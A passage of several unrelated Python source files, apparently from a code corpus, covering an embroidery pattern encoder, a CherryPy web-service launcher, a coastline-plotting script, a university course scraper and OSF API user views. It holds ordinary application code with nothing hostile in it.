commands into a format friendly low level commands."""
source = self.source_pattern.stitches
self.state_trimmed = True
self.needle_x = 0
self.needle_y = 0
self.position = 0
self.order_index = -1
self.change_sequence = self.build_thread_change_sequence()
flags = NO_COMMAND
for self.position, self.stitch in enumerate(source):
p = self.matrix.point_in_matrix_space(self.stitch)
x = p[0]
y = p[1]
if self.round:
x = round(x)
y = round(y)
flags = self.stitch[2] & COMMAND_MASK
self.high_flags = self.stitch[2] & FLAGS_MASK
if flags == NO_COMMAND:
continue
elif flags == STITCH:
if self.state_trimmed:
self.declare_not_trimmed()
self.jump_to_within_stitchrange(x, y)
self.stitch_at(x, y)
self.tie_on()
elif self.state_jumping:
self.needle_to(x, y)
self.state_jumping = False
else:
self.stitch_with_contingency(x, y)
elif flags == NEEDLE_AT:
if self.state_trimmed:
self.declare_not_trimmed()
self.jump_to_within_stitchrange(x, y)
self.stitch_at(x, y)
self.tie_on()
elif self.state_jumping:
self.needle_to(x, y)
self.state_jumping = False
else:
self.needle_to(x, y)
elif flags == SEW_TO:
if self.state_trimmed:
self.declare_not_trimmed()
self.jump_to_within_stitchrange(x, y)
self.stitch_at(x, y)
self.tie_on()
elif self.state_jumping:
self.needle_to(x, y)
self.state_jumping = False
else:
self.sew_to(x, y)
# Middle Level Commands.
elif flags == STITCH_BREAK:
self.state_jumping = True
elif flags == FRAME_EJECT:
self.tie_off_and_trim_if_needed()
self.jump_to(x, y)
self.stop_here()
elif flags == SEQUENCE_BREAK:
self.tie_off_and_trim_if_needed()
elif flags == COLOR_BREAK:
self.color_break()
elif flags == TIE_OFF:
self.tie_off()
elif flags == TIE_ON:
self.tie_on()
# Core Commands.
elif flags == TRIM:
self.tie_off_and_trim_if_needed()
elif flags == JUMP:
if not self.state_jumping:
self.jump_to(x, y)
elif flags == SEQUIN_MODE:
self.toggle_sequins()
elif flags == SEQUIN_EJECT:
if self.state_trimmed:
self.declare_not_trimmed()
self.jump_to_within_stitchrange(x, y)
self.stitch_at(x, y)
self.tie_on()
if not self.state_sequin_mode:
self.toggle_sequins()
self.sequin_at(x, y)
elif flags == COLOR_CHANGE:
self.tie_off_trim_color_change()
elif flags == NEEDLE_SET:
self.tie_off_trim_color_change()
elif flags == STOP:
self.stop_here()
elif flags == SLOW:
self.slow_command_here()
elif flags == FAST:
self.fast_command_here()
elif flags == END:
self.end_here()
break
# On-the-fly Settings Commands.
elif flags == CONTINGENCY_TIE_ON_THREE_SMALL:
self.tie_on_contingency = CONTINGENCY_TIE_ON_THREE_SMALL
elif flags == CONTINGENCY_TIE_OFF_THREE_SMALL:
self.tie_off_contingency = CONTINGENCY_TIE_OFF_THREE_SMALL
elif flags == CONTINGENCY_TIE_ON_NONE:
self.tie_on_contingency = CONTINGENCY_TIE_ON_NONE
elif flags == CONTINGENCY_TIE_OFF_NONE:
self.tie_off_contingency = CONTINGENCY_TIE_OFF_NONE
elif flags == OPTION_MAX_JUMP_LENGTH:
x = self.stitch[0]
self.max_jump = x
elif flags == OPTION_MAX_STITCH_LENGTH:
x = self.stitch[0]
self.max_stitch = x
elif flags == OPTION_EXPLICIT_TRIM:
self.explicit_trim = True
elif flags == OPTION_IMPLICIT_TRIM:
self.explicit_trim = False
elif flags == CONTINGENCY_LONG_STITCH_NONE:
self.long_stitch_contingency = CONTINGENCY_LONG_STITCH_NONE
elif flags == CONTINGENCY_LONG_STITCH_JUMP_NEEDLE:
self.long_stitch_contingency = CONTINGENCY_LONG_STITCH_JUMP_NEEDLE
elif flags == CONTINGENCY_LONG_STITCH_SEW_TO:
self.long_stitch_contingency = CONTINGENCY_LONG_STITCH_SEW_TO
elif flags == CONTINGENCY_SEQUIN_REMOVE:
if self.state_sequin_mode: # if sequin_mode, turn it off.
self.toggle_sequins()
self.sequin_contingency = CONTINGENCY_SEQUIN_REMOVE
elif flags == CONTINGENCY_SEQUIN_STITCH:
if self.state_sequin_mode: # if sequin_mode, turn it off.
self.toggle_sequins()
self.sequin_contingency = CONTINGENCY_SEQUIN_STITCH
elif flags == CONTINGENCY_SEQUIN_JUMP:
if self.state_sequin_mode: # if sequin_mode, turn it off.
self.toggle_sequins()
self.sequin_contingency = CONTINGENCY_SEQUIN_JUMP
elif flags == CONTINGENCY_SEQUIN_UTILIZE:
self.sequin_contingency = CONTINGENCY_SEQUIN_UTILIZE
elif flags == MATRIX_TRANSLATE:
self.matrix.post_translate(self.stitch[0], self.stitch[1])
elif flags == MATRIX_SCALE_ORIGIN:
self.matrix.post_scale(self.stitch[0], self.stitch[1])
elif flags == MATRIX_ROTATE_ORIGIN:
self.matrix.post_rotate(self.stitch[0])
elif flags == MATRIX_SCALE:
self.matrix.inverse()
q = self.matrix.point_in_matrix_space(self.needle_x, self.needle_y)
self.matrix.inverse()
self.matrix.post_scale(self.stitch[0], self.stitch[1], q[0], q[1])
elif flags == MATRIX_ROTATE:
self.matrix.inverse()
q = self.matrix.point_in_matrix_space(self.needle_x, self.needle_y)
self.matrix.inverse()
self.matrix.post_rotate(self.stitch[0], q[0], q[1])
elif flags == MATRIX_RESET:
self.matrix.reset()
if flags != END:
self.end_here()
def update_needle_position(self, x, y):
self.needle_x = x
self.needle_y = y
def declare_not_trimmed(self):
if self.order_index == -1:
self.next_change_sequence()
self.state_trimmed = False
def add_thread_change(self, command, thread=None, needle=None, order=None):
x = self.needle_x
y = self.needle_y
cmd = encode_thread_change(command, thread, needle, order)
self.destination_pattern.stitches.append([x, y, cmd])
def add(self, flags, x=None, y=None):
if x is None:
x = self.needle_x
if y is None:
y = self.needle_y
flags |= self.high_flags
self.destination_pattern.stitches.append([x, y, flags])
def lookahead_stitch(self):
"""Looks forward from current position and
determines if anymore stitching will occur."""
source = self.source_pattern.stitches
for pos in range(self.position, len(source)):
stitch = source[pos]
flags = stitch[2]
if flags == STITCH:
return True
elif flags == NEEDLE_AT:
return True
elif flags == SEW_TO:
return True
elif flags == TIE_ON:
return True
elif flags == SEQUIN_EJECT:
return True
elif flags == END:
return False
return False
def color_break(self):
"""Implements color break. Should add color changes add needed only."""
if self.order_index < 0:
return # We haven't stitched anything, colorbreak happens, before start. Ignore.
if not self.state_trimmed:
self.tie_off()
if self.explicit_trim:
self.trim_here()
if not self.lookahead_stitch():
return # No more stitching will happen, colorchange unneeded.
self.next_change_sequence()
self.state_trimmed = True
def tie_off_trim_color_change(self):
if not self.state_trimmed:
self.tie_off()
if self.explicit_trim:
self.trim_here()
self.next_change_sequence()
self.state_trimmed = True
def tie_off_and_trim_if_needed(self):
if not self.state_trimmed:
self.tie_off_and_trim()
def tie_off_and_trim(self):
self.tie_off()
self.trim_here()
def tie_off(self):
if self.tie_off_contingency == CONTINGENCY_TIE_OFF_THREE_SMALL:
try:
b = self.matrix.point_in_matrix_space(
self.source_pattern.stitches[self.position - 1]
)
flags = b[2]
if flags == STITCH or flags == NEEDLE_AT or \
flags == SEW_TO or flags == SEQUIN_EJECT:
self.lock_stitch(self.needle_x, self.needle_y,
b[0], b[1], self.max_stitch)
except IndexError:
pass # must be an island stitch. jump-stitch-jump
def tie_on(self):
if self.tie_on_contingency == CONTINGENCY_TIE_ON_THREE_SMALL:
try:
b = self.matrix.point_in_matrix_space(
self.source_pattern.stitches[self.position + 1]
)
flags = b[2]
if flags == STITCH or flags == NEEDLE_AT or \
flags == SEW_TO or flags == SEQUIN_EJECT:
self.lock_stitch(self.needle_x, self.needle_y,
b[0], b[1], self.max_stitch)
except IndexError:
pass # must be an island stitch. jump-stitch-jump
def trim_here(self):
if self.state_sequin_mode:
# Can't trim in sequin mode. DST uses jumps to trigger sequin eject and to trim.
self.toggle_sequins()
self.add(TRIM)
self.state_trimmed = True
def toggle_sequins(self):
"""Sequin mode toggle can be called whenever but will only actually turn on if set
to utilize mode for the sequin contingency."""
contingency = self.sequin_contingency
if contingency == CONTINGENCY_SEQUIN_UTILIZE:
self.add(SEQUIN_MODE)
self.state_sequin_mode = not self.state_sequin_mode
def jump_to_within_stitchrange(self, new_x, new_y):
"""Jumps close enough to stitch a position in x,y
without violating the length constraints."""
x0 = self.needle_x
y0 = self.needle_y
max_length = self.max_jump
self.interpolate_gap_stitches(x0, y0, new_x, new_y, max_length, JUMP)
if self.full_jump:
if self.needle_x != new_x or self.needle_y != new_y:
self.jump_at(new_x, new_y)
# We are currently assuming that max_jump is also max_stitch.
# Properly it might be the case that some format could require
# a split constraint here where we would need to jump further
# so that we could then stitch closer.
def jump_to(self, new_x, new_y):
x0 = self.needle_x
y0 = self.needle_y
max_length = self.max_jump
self.interpolate_gap_stitches(x0, y0, new_x, new_y, max_length, JUMP)
self.jump_at(new_x, new_y)
def jump_at(self, new_x, new_y):
if self.state_sequin_mode:
self.toggle_sequins() # can't jump with sequin mode on.
self.add(JUMP, new_x, new_y)
self.update_needle_position(new_x, new_y)
def stitch_with_contingency(self, new_x, new_y):
if self.long_stitch_contingency == CONTINGENCY_LONG_STITCH_SEW_TO:
self.sew_to(new_x, new_y)
elif self.long_stitch_contingency == CONTINGENCY_LONG_STITCH_JUMP_NEEDLE:
self.needle_to(new_x, new_y)
else:
self.stitch_at(new_x, new_y)
def sew_to(self, new_x, new_y):
"""Stitches to a specific location, with the emphasis on sewing.
Subdivides long stitches into additional stitches.
"""
x0 = self.needle_x
y0 = self.needle_y
max_length = self.max_stitch
self.interpolate_gap_stitches(x0, y0, new_x, new_y, max_length, STITCH)
self.stitch_at(new_x, new_y)
def needle_to(self, new_x, new_y):
"""Insert needle at specific location, emphasis on the needle.
Uses jumps to avoid needle penetrations where possible.
The limit here is the max stitch limit or jump threshold.
If jump threshold is set low, it will insert jumps even
between stitches it could have technically encoded values for.
Stitches to the new location, adding jumps if needed.
"""
x0 = self.needle_x
y0 = self.needle_y
max_length = self.max_stitch
self.interpolate_gap_stitches(x0, y0, new_x, new_y, max_length, JUMP)
self.stitch_at(new_x, new_y)
def stitch_at(self, new_x, new_y):
"""Inserts a stitch at the specific location.
Should have already been checked for constraints."""
self.add(STITCH, new_x, new_y)
self.update_needle_position(new_x, new_y)
def sequin_at(self, new_x, new_y):
"""Sequin Ejects at position with the proper Sequin Contingency
If long stitch contingency is required and since JUMP is often
sequin eject, the contingency for long stitch is always sew to.
This shouldn't be exceptionally rare."""
contingency = self.sequin_contingency
if contingency == CONTINGENCY_SEQUIN_REMOVE:
# Do not update the needle position or declare untrimmed.
return
x0 = self.needle_x
y0 = self.needle_y
max_length = self.max_stitch
self.interpolate_gap_stitches(x0, y0, new_x, new_y, max_length, STITCH)
if contingency == CONTINGENCY_SEQUIN_UTILIZE:
self.add(SEQUIN_EJECT, new_x, new_y)
elif contingency == CONTINGENCY_SEQUIN_JUMP:
self.add(JUMP, new_x, new_y)
elif contingency == CONTINGENCY_SEQUIN_STITCH:
self.add(STITCH, new_x, new_y)
self.update_needle_position(new_x, new_y)
def slow_command_here(self):
if self.writes_speeds:
self.add(SLOW)
def fast_command_here(self):
if self.writes_speeds:
self.add(FAST)
def stop_here(self):
self.add(STOP)
self.state_trimmed = True
def end_here(self):
self.add(END)
self.state_trimmed = True
def next_change_sequence(self):
self.order_index += 1
change = self.change_sequence[self.order_index]
threadlist = self.destination_pattern.threadlist
threadlist.append(change[3])
if self.thread_change_command == COLOR_CHANGE:
if self.order_index != 0:
self.add_thread_change(COLOR_CHANGE, change[1], change[2])
elif self.thread_change_command == NEEDLE_SET:
self.add_thread_change(NEEDLE_SET, change[1], change[2])
elif self.thread_change_command == STOP:
self.add_thread_change(STOP, change[1], change[2])
self.state_trimmed = True
def position_will_exceed_constraint(self, length=None, new_x=None, new_y=None):
"""Check if the stitch is too long before trying to deal with it."""
if length is None:
length = self.max_stitch
if new_x is None or new_y is None:
p = self.matrix.point_in_matrix_space(self.stitch[0], self.stitch[1])
new_x = p[0]
new_y = p[1]
distance_x = new_x - self.needle_x
distance_y = new_y - self.needle_y
return abs(distance_x) > length or abs(distance_y) > length
def interpolate_gap_stitches(self, x0, y0, x1, y1, max_length, data):
"""Command sequence line to x, y, respecting length as maximum.
This does not arrive_at, it steps to within striking distance.
The next step can arrive at (x, y) without violating constraint.
If these are already in range, this command will do nothing.
returns the last stitch interpolated by the code.
"""
transcode = self.destination_pattern.stitches
distance_x = x1 - x0
distance_y = y1 - y0
if abs(distance_x) > max_length or abs(distance_y) > max_length:
if data == JUMP and self.state_sequin_mode:
self.toggle_sequins() # can't jump with sequin mode on.
# python 2,3 patch of division that could be integer.
steps_x = math.ceil(abs(distance_x / (max_length * 1.0)))
steps_y = math.ceil(abs(distance_y / (max_length * 1.0)))
if steps_x > steps_y:
steps = steps_x
else:
steps = steps_y
step_size_x = distance_x / steps
step_size_y = distance_y / steps
qx = x0
qy = y0
for q in range(1, int(steps)):
# we need the gap stitches only, not start or end stitch.
qx += step_size_x
qy += step_size_y
stitch = [qx, qy, data | self.high_flags]
transcode.append(stitch)
self.update_needle_position(stitch[0], stitch[1])
def lock_stitch(self, x, y, anchor_x, anchor_y, max_length=None):
"""Tie-on, Tie-off. Lock stitch from current location towards
anchor location.Ends again at lock location. May not exceed
max_length in the process."""
if max_length is None:
max_length = self.max_stitch
transcode = self.destination_pattern.stitches
length = distance(x, y, anchor_x, anchor_y)
if length > max_length:
p = oriented(x, y, anchor_x, anchor_y, max_length)
anchor_x = p[0]
anchor_y = p[1]
for amount in (.33, .66, .33, 0):
transcode.append([
towards(x, anchor_x, amount),
towards(y, anchor_y, amount),
STITCH])
def distance_squared(x0, y0, x1, y1):
"""squared of distance between x0,y0 and x1,y1"""
dx = x1 - x0
dy = y1 - y0
dx *= dx
dy *= dy
return dx + dy
def distance(x0, y0, x1, y1):
"""distance between x0,y0 and x1,y1"""
return math.sqrt(distance_squared(x0, y0, x1, y1))
def towards(a, b, amount):
"""amount between [0,1] -> [a,b]"""
return (amount * (b - a)) + a
def angle_radians(x0, y0, x1, y1):
"""Angle in radians between x0,y0 and x1,y1"""
return math.atan2(y1 - y0, x1 - x0)
def oriented(x0, y0, x1, y1, r):
"""from x0,y0 in the direction of x1,y1 in the distance of r"""
radians = angle_radians(x0, y0, x1, y1)
return x0 + (r * math.cos(radians)), y0 + (r * math.sin(radians))
| python |
import numpy as np
from .points import get_fractions, interpolate_along_axis
def prepare(start: np.ndarray, stop: np.ndarray):
# handling a possible flip
diff = np.linalg.norm(start[[0, -1]] - stop[[0, -1]], axis=1).sum()
rev_diff = np.linalg.norm(start[[-1, 0]] - stop[[0, -1]], axis=1).sum()
if rev_diff < diff:
start = start[::-1]
start_fractions = get_fractions(start)
stop_fractions = get_fractions(stop)
merged = np.union1d(start_fractions, stop_fractions)
start = interpolate_along_axis(merged, start_fractions, start)
stop = interpolate_along_axis(merged, stop_fractions, stop)
return start, stop
| python |
# Copyright 2008-2018 Univa Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# pylint: disable=no-member
import argparse
import json
import logging.config
import logging.handlers
import os.path
import sys
from pathlib import Path
import cherrypy
from cherrypy.process import plugins
from tortuga.kit.loader import load_kits
from tortuga.logging import KIT_NAMESPACE, ROOT_NAMESPACE, \
WEBSERVICE_NAMESPACE
from . import controllers, controllers_v2, rootRouteMapper
from .app import app
from .auth import methods as auth_methods
from .auth.authenticator import CherryPyAuthenticator
from .controllers.tortugaController import TortugaController
from .plugins.database import DatabasePlugin
from .plugins.websocket import WebsocketPlugin
from .tools.database import DatabaseTool
# read logging configuration
log_conf_file = Path(app.cm.getEtcDir()) / 'tortugawsd.log.conf'
if log_conf_file.exists():
logging.config.fileConfig(str(log_conf_file))
# Log everything 'tortuga.*'
root_logger = logging.getLogger(ROOT_NAMESPACE)
# and everything 'tortuga_kits.*'
tortuga_kits_logger = logging.getLogger(KIT_NAMESPACE)
if not log_conf_file.exists():
# in the absence of a `tortugawsd` logging configuration, use
# sane defaults
root_logger.setLevel(logging.DEBUG)
tortuga_kits_logger.setLevel(logging.DEBUG)
# create console handler and set level to debug
ch = logging.handlers.TimedRotatingFileHandler(
'/var/log/tortugawsd', when='midnight')
ch.setLevel(logging.DEBUG)
# create formatter
formatter = logging.Formatter(
'%(asctime)s - %(name)s - %(levelname)s - %(message)s')
# add formatter to ch
ch.setFormatter(formatter)
# add ch to logger
root_logger.addHandler(ch)
tortuga_kits_logger.addHandler(ch)
logger = logging.getLogger(WEBSERVICE_NAMESPACE)
def prepare_server():
"""
Prepare server.
"""
logger.debug('Loading service configuration')
config = {
'/': {
'tools.db.on': True,
'response.headers.server': 'Tortuga web service',
'request.dispatch': rootRouteMapper.setupRoutes(),
},
'/v1': {
'request.dispatch': controllers.setup_routes()
},
'/v2': {
'request.dispatch': controllers_v2.setup_routes()
}
}
# No root controller as we provided our own.
return cherrypy.tree.mount(root=None, config=config)
def run_server(daemonize: bool = False, pidfile: str = None,
debug: bool = False):
logger.debug('Starting service')
#
# Load kits
#
load_kits()
#
# Initialize plugins
#
if daemonize:
plugins.Daemonizer(cherrypy.engine).subscribe()
if pidfile:
plugins.PIDFile(cherrypy.engine, pidfile).subscribe()
DatabasePlugin(cherrypy.engine).subscribe()
WebsocketPlugin(
app.cm.getWebsocketScheme(),
app.cm.getWebsocketPort(),
cherrypy.engine,
debug=debug
).subscribe()
#
# Setup the signal handler to stop the application while running.
#
cherrypy.engine.signals.subscribe()
#
# Initialize tools
#
cherrypy.tools.db = DatabaseTool()
authentication_methods = [
auth_methods.HttpBasicAuthenticationMethod(),
auth_methods.HttpBasicAuthenticationVaultMethod(),
auth_methods.HttpSessionAuthenticationMethod(),
auth_methods.HttpJwtAuthenticationMethod()
]
cherrypy.tools.auth = cherrypy.Tool(
'before_handler',
CherryPyAuthenticator(authentication_methods)
)
#
# Start the engine.
#
cherrypy.engine.start()
cherrypy.engine.block()
return 0
def error_page_400(status, message, traceback, version): \
# pylint: disable=unused-argument
cherrypy.response.headers['Content-Type'] = 'application/json'
return json.dumps(TortugaController(app).errorResponse(message))
def error_page_404(status, message, traceback, version): \
# pylint: disable=unused-argument
cherrypy.response.headers['Content-Type'] = 'application/json'
return json.dumps(
TortugaController(app).errorResponse(message, http_status=404))
def handle_error():
cherrypy.response.headers['Content-Type'] = 'application/json'
return json.dumps(TortugaController(app).errorResponse(
'Internal error', http_status=500))
def main():
p = argparse.ArgumentParser()
wsPort = app.cm.getAdminPort()
p.add_argument('-d', action="store_true",
dest='daemonize', help="run the server as a daemon")
p.add_argument('--debug', action="store_true",
default=False, help="Enable debug mode")
p.add_argument('--pidfile',
dest='pidfile', default='/var/run/tortugawsd.pid',
help="store the process id in the given file")
p.add_argument('-c', '--ssl-cert', default=None,
dest="sslCert",
help=("Path to the SSL certificate to use. "
"--ssl-key is also required for SSL operation."))
p.add_argument('-k', '--ssl-key', default=None,
dest="sslKey",
help=("Path to the SSL key to use. --ssl-cert "
"is also required for SSL operation."))
p.add_argument('-l', '--listen', default='0.0.0.0',
help='IP address to listen on (default: %default)')
p.add_argument('-p', '--port', type=int, default=wsPort,
help="Port to listen on (default: %default)")
args = p.parse_args()
if os.path.exists(args.pidfile):
with open(args.pidfile) as fp:
pid = fp.read().rstrip()
if pid:
if os.access('/proc/{0}'.format(pid), os.F_OK):
sys.stderr.write(
'tortugawsd is already running (pid: {})\n'.format(
pid))
sys.exit(1)
prepare_server()
cfgdict = {
'server.socket_host': args.listen,
'server.socket_port': args.port,
'log.access_file': '/var/log/tortugaws_access_log',
'log.error_file': '/var/log/tortugaws_error_log',
'request.error_response': handle_error,
'error_page.400': error_page_400,
'error_page.404': error_page_404,
'tools.sessions.on': True,
'tools.auth.on': True,
}
if not args.debug:
cfgdict['environment'] = 'production'
cherrypy.config.update(cfgdict)
if args.sslCert and args.sslKey:
# Enable SSL
cherrypy.config.update({
'server.ssl_module': 'builtin',
'server.ssl_certificate_chain': os.path.join(
app.cm.getEtcDir(), 'CA/ca.pem'),
'server.ssl_certificate': args.sslCert,
'server.ssl_private_key': args.sslKey,
})
ret = run_server(args.daemonize, args.pidfile, args.debug)
sys.exit(ret)
| python |
"""
Test of reading and plotting the CUSP coastline.
Data source:
shoreline.noaa.gov/data/datasheets/cusp.html
Spatial Reference: Geographic coordinate system (decimal degrees);
Horizontal Datum – North American Datum of 1983 (NAD83)
Tidal Datum: Where applicable, CUSP will reference a mean-high water shoreline
based on vertical modeling or image interpretation using both water level stations
and/or shoreline indicators.
Interesting issue: no coastline around Skagit River and that part of Whidbey basin.
It is listed as "in progress" on the CUSP site.
Performance:
Takes 20 sec for the initial reading, but after that the list append and plot
steps are very fast. Final vector length is about 3.6 million point pairs.
"""
import numpy as np
import matplotlib.pyplot as plt
from time import time
import cartopy.io.shapereader as shpreader
from lo_tools import plotting_functions as pfun
from lo_tools import Lfun
Ldir = Lfun.Lstart()
in_dir = Ldir['data'] / 'coast' / 'CUSP' / 'Western'
shp_fn = in_dir / 'Western.shp'
reader = shpreader.Reader(str(in_dir / 'Western.shp'))
recs = reader.records()
tt0 = time()
x_dict = dict()
y_dict = dict()
ii = 0
for cl in recs: # there are about 80k records in Western.shp!
C = cl.geometry
x_dict[ii] = np.array(C.xy[0])
y_dict[ii] = np.array(C.xy[1])
# if ii > 10000:
# break
ii += 1
print('Time to fill dicts = %0.1f sec' % (time()-tt0))
tt0 = time()
# concatenate the dict entries into a single pair of vectors
x_list = []
y_list = []
for ii in x_dict.keys():
x = list(x_dict[ii])
y = list(y_dict[ii])
x_list += x
y_list += y
x_list.append(np.nan)
y_list.append(np.nan)
x_vec = np.array(x_list)
y_vec = np.array(y_list)
print('Time to concatenate into vectors = %0.1f sec' % (time()-tt0))
# PLOTTING
tt0 = time()
plt.close('all')
fig = plt.figure(figsize=(10,13))
ax = fig.add_subplot(111)
ax.plot(x_vec, y_vec, '-b')
# for ii in x_dict.keys():
# x = x_dict[ii]
# y = y_dict[ii]
# ax.plot(x,y,'-b')
pfun.add_coast(ax)
pfun.dar(ax)
plt.show()
print('Time to plot = %0.1f sec' % (time()-tt0))
| python |
#!/usr/bin/env python
#author: wowdd1
#mail: developergf@gmail.com
#data: 2015.01.03
from spider import *
sys.path.append("..")
from utils import Utils
class TorontoSpider(Spider):
def __init__(self):
Spider.__init__(self)
self.school = "toronto"
self.subject = "computer-science"
def doWork(self):
utils = Utils()
r = requests.get('http://www.cdf.toronto.edu/cs_courses/current_course_web_pages.html')
soup = BeautifulSoup(r.text)
file_name = self.get_file_name("eecs/" + self.subject, self.school)
file_lines = self.countFileLineNum(file_name)
f = self.open_db(file_name + ".tmp")
self.count = 0
for li in soup.find_all('li'):
if li.a != None:
line = utils.removeDoubleSpace(li.text.replace('\n', ''))
line = line.replace('CSC ', 'CSC')
course_id = line[0 : line.find(' ')]
if course_id.startswith('CSC') == False:
continue
title = line[line.find(' ') : ].strip()
print course_id + ' ' + title
self.count += 1
self.write_db(f, course_id, title, li.a['href'])
self.close_db(f)
if file_lines != self.count and self.count > 0:
self.do_upgrade_db(file_name)
print "before lines: " + str(file_lines) + " after update: " + str(self.count) + " \n\n"
else:
self.cancel_upgrade(file_name)
print "no need upgrade\n"
start = TorontoSpider()
start.doWork()
| python |
from django.apps import apps
from guardian.shortcuts import get_objects_for_user
from api.addons.views import AddonSettingsMixin
from api.actions.views import get_actions_queryset
from api.actions.serializers import ActionSerializer
from api.base import permissions as base_permissions
from api.base.exceptions import Conflict, UserGone
from api.base.filters import ListFilterMixin, PreprintFilterMixin
from api.base.parsers import (JSONAPIRelationshipParser,
JSONAPIRelationshipParserForRegularJSON)
from api.base.serializers import AddonAccountSerializer
from api.base.utils import (default_node_list_queryset,
default_node_list_permission_queryset,
get_object_or_error,
get_user_auth)
from api.base.views import JSONAPIBaseView, WaterButlerMixin
from api.institutions.serializers import InstitutionSerializer
from api.nodes.filters import NodesFilterMixin
from api.nodes.serializers import NodeSerializer
from api.preprints.serializers import PreprintSerializer
from api.registrations.serializers import RegistrationSerializer
from api.users.permissions import (CurrentUser, ReadOnlyOrCurrentUser,
ReadOnlyOrCurrentUserRelationship)
from api.users.serializers import (UserAddonSettingsSerializer,
UserDetailSerializer,
UserInstitutionsRelationshipSerializer,
UserSerializer,
UserQuickFilesSerializer,
ReadEmailUserDetailSerializer,)
from django.contrib.auth.models import AnonymousUser
from framework.auth.oauth_scopes import CoreScopes, normalize_scopes
from rest_framework import permissions as drf_permissions
from rest_framework import generics
from rest_framework.exceptions import NotAuthenticated, NotFound
from osf.models import (Contributor,
ExternalAccount,
QuickFilesNode,
AbstractNode,
PreprintService,
Node,
OSFUser,
Registration,
PreprintProvider,
Action,)
class UserMixin(object):
"""Mixin with convenience methods for retrieving the current user based on the
current URL. By default, fetches the user based on the user_id kwarg.
"""
serializer_class = UserSerializer
user_lookup_url_kwarg = 'user_id'
def get_user(self, check_permissions=True):
key = self.kwargs[self.user_lookup_url_kwarg]
# If Contributor is in self.request.parents,
# then this view is getting called due to an embedded request (contributor embedding user)
# We prefer to access the user from the contributor object and take advantage
# of the query cache
if hasattr(self.request, 'parents') and len(self.request.parents.get(Contributor, {})) == 1:
# We expect one parent contributor view, so index into the first item
contrib_id, contrib = self.request.parents[Contributor].items()[0]
user = contrib.user
if user.is_disabled:
raise UserGone(user=user)
# Make sure that the contributor ID is correct
if user._id == key:
if check_permissions:
self.check_object_permissions(self.request, user)
return user
if self.kwargs.get('is_embedded') is True:
if key in self.request.parents[OSFUser]:
return self.request.parents[key]
current_user = self.request.user
if key == 'me':
if isinstance(current_user, AnonymousUser):
raise NotAuthenticated
else:
return self.request.user
obj = get_object_or_error(OSFUser, key, self.request, 'user')
if check_permissions:
# May raise a permission denied
self.check_object_permissions(self.request, obj)
return obj
class UserList(JSONAPIBaseView, generics.ListAPIView, ListFilterMixin):
"""List of users registered on the OSF.
Paginated list of users ordered by the date they registered. Each resource contains the full representation of the
user, meaning additional requests to an individual user's detail view are not necessary.
Note that if an anonymous view_only key is being used, user information will not be serialized, and the id will be
an empty string. Relationships to a user object will not show in this case, either.
The subroute [`/me/`](me/) is a special endpoint that always points to the currently logged-in user.
##User Attributes
<!--- Copied Attributes From UserDetail -->
OSF User entities have the "users" `type`.
name type description
========================================================================================
full_name string full name of the user; used for display
given_name string given name of the user; for bibliographic citations
middle_names string middle name of user; for bibliographic citations
family_name string family name of user; for bibliographic citations
suffix string suffix of user's name for bibliographic citations
date_registered iso8601 timestamp timestamp when the user's account was created
##Links
See the [JSON-API spec regarding pagination](http://jsonapi.org/format/1.0/#fetching-pagination).
##Actions
*None*.
##Query Params
+ `page=<Int>` -- page number of results to view, default 1
+ `filter[<fieldname>]=<Str>` -- fields and values to filter the search results on.
Users may be filtered by their `id`, `full_name`, `given_name`, `middle_names`, or `family_name`.
+ `profile_image_size=<Int>` -- Modifies `/links/profile_image_url` of the user entities so that it points to
the user's profile image scaled to the given size in pixels. If left blank, the size depends on the image provider.
#This Request/Response
"""
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.RequiresScopedRequestOrReadOnly,
base_permissions.TokenHasScope,
)
required_read_scopes = [CoreScopes.USERS_READ]
required_write_scopes = [CoreScopes.NULL]
model_class = apps.get_model('osf.OSFUser')
serializer_class = UserSerializer
ordering = ('-date_registered')
view_category = 'users'
view_name = 'user-list'
def get_default_queryset(self):
if self.request.version >= '2.3':
return OSFUser.objects.filter(is_registered=True, date_disabled__isnull=True, merged_by__isnull=True)
return OSFUser.objects.filter(is_registered=True, date_disabled__isnull=True)
# overrides ListCreateAPIView
def get_queryset(self):
return self.get_queryset_from_request()
class UserDetail(JSONAPIBaseView, generics.RetrieveUpdateAPIView, UserMixin):
"""Details about a specific user. *Writeable*.
The User Detail endpoint retrieves information about the user whose id is the final part of the path. If `me`
is given as the id, the record of the currently logged-in user will be returned. The returned information includes
the user's bibliographic information and the date the user registered.
Note that if an anonymous view_only key is being used, user information will not be serialized, and the id will be
an empty string. Relationships to a user object will not show in this case, either.
##Attributes
OSF User entities have the "users" `type`.
name type description
========================================================================================
full_name string full name of the user; used for display
given_name string given name of the user; for bibliographic citations
middle_names string middle name of user; for bibliographic citations
family_name string family name of user; for bibliographic citations
suffix string suffix of user's name for bibliographic citations
date_registered iso8601 timestamp timestamp when the user's account was created
social dict Dictionary of a list of social information of user
##Relationships
###Nodes
A list of all nodes the user has contributed to. If the user id in the path is the same as the logged-in user, all
nodes will be visible. Otherwise, you will only be able to see the other user's publicly-visible nodes.
##Links
self: the canonical api endpoint of this user
html: this user's page on the OSF website
profile_image_url: a url to the user's profile image
##Actions
###Update
Method: PUT / PATCH
URL: /links/self
Query Params: <none>
Body (JSON): {
"data": {
"type": "users", # required
"id": {user_id}, # required
"attributes": {
"full_name": {full_name}, # mandatory
"given_name": {given_name}, # optional
"middle_names": {middle_names}, # optional
"family_name": {family_name}, # optional
"suffix": {suffix} # optional
"social": {
key: [social_id]}
} # optional
}
}
}
Success: 200 OK + node representation
To update your user profile, issue a PUT request to either the canonical URL of your user resource (as given in
`/links/self`) or to `/users/me/`. Only the `full_name` attribute is required. Unlike at signup, the given, middle,
and family names will not be inferred from the `full_name`. Currently, only `full_name`, `given_name`,
`middle_names`, `family_name`, and `suffix` are updateable. Currently in social dicts, only the "profileWebsites"
accept a list with more than one items, the others key value only accept list of one item.
A PATCH request issued to this endpoint will behave the same as a PUT request, but does not require `full_name` to
be set.
**NB:** If you PUT/PATCH to the `/users/me/` endpoint, you must still provide your full user id in the `id` field of
the request. We do not support using the `me` alias in request bodies at this time.
##Query Params
